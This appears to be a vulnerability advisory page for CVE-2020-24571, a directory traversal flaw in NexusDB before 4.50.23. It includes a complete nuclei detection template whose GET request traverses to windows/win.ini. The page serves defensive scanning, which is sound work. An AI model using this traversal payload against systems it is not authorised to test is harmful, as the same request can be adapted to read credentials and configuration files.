NexusDB <4.50.23 - Local File Inclusion

highseverity

7.5CVSS score

17.3%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

NexusQA NexusDB before 4.50.23 allows the reading of files via ../ directory traversal and local file inclusion.

Impact

An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.

Fix

Upgrade NexusDB to version 4.50.23 or later to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/../../../../../../../../windows/win.ini
Positive when: contains "[extensions]" AND status 200

Run it with nuclei: nuclei -id CVE-2020-24571 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-24571

info:
  name: NexusDB <4.50.23 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: NexusQA NexusDB before 4.50.23 allows the reading of files via ../ directory traversal and local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
  remediation: |
    Upgrade NexusDB to version 4.50.23 or later to mitigate the LFI vulnerability.
  reference:
    - https://www.nexusdb.com/mantis/bug_view_advanced_page.php?bug_id=2371
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24571
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-24571
    cwe-id: CWE-22
    epss-score: 0.17959
    epss-percentile: 0.97209
    cpe: cpe:2.3:a:nexusdb:nexusdb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nexusdb
    product: nexusdb
  tags: cve,cve2020,nexusdb,lfi,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/../../../../../../../../windows/win.ini'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "[extensions]"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from